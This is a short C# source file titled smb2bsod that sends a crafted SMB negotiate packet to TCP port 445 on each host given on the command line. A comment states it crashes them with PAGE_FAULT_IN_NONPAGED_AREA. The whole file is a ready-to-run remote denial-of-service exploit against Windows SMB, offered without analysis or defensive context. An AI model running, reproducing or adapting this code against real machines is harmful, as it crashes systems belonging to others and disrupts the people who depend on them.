smb2bsod.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;

namespace smb2bsod
{
	class Program
	{
		// crashes all hosts listed on the command-line with PAGE_FAULT_IN_NONPAGED_AREA
		static void Main(string[] args)
		{
			var packet = new byte[] 
			{
				0, 0, 0, 0x90,
				0xff, 0x53, 0x4d, 0x42,
				0x72, 0x00, 0x00, 0x00,
				0x00, 0x18, 0x53, 0xc8,
				0x00, 0x26,
				0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe,
				0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54,
				0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31,
				0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00,
				0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57,
				0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61,
				0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c,
				0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c,
				0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e,
				0x30, 0x30, 0x32, 0x00,
			};

			foreach (var host in args)
			{
				var client = new TcpClient(host, 445);
				client.GetStream().Write(packet, 0, packet.Length);
				client.Close();
			}
		}
	}
}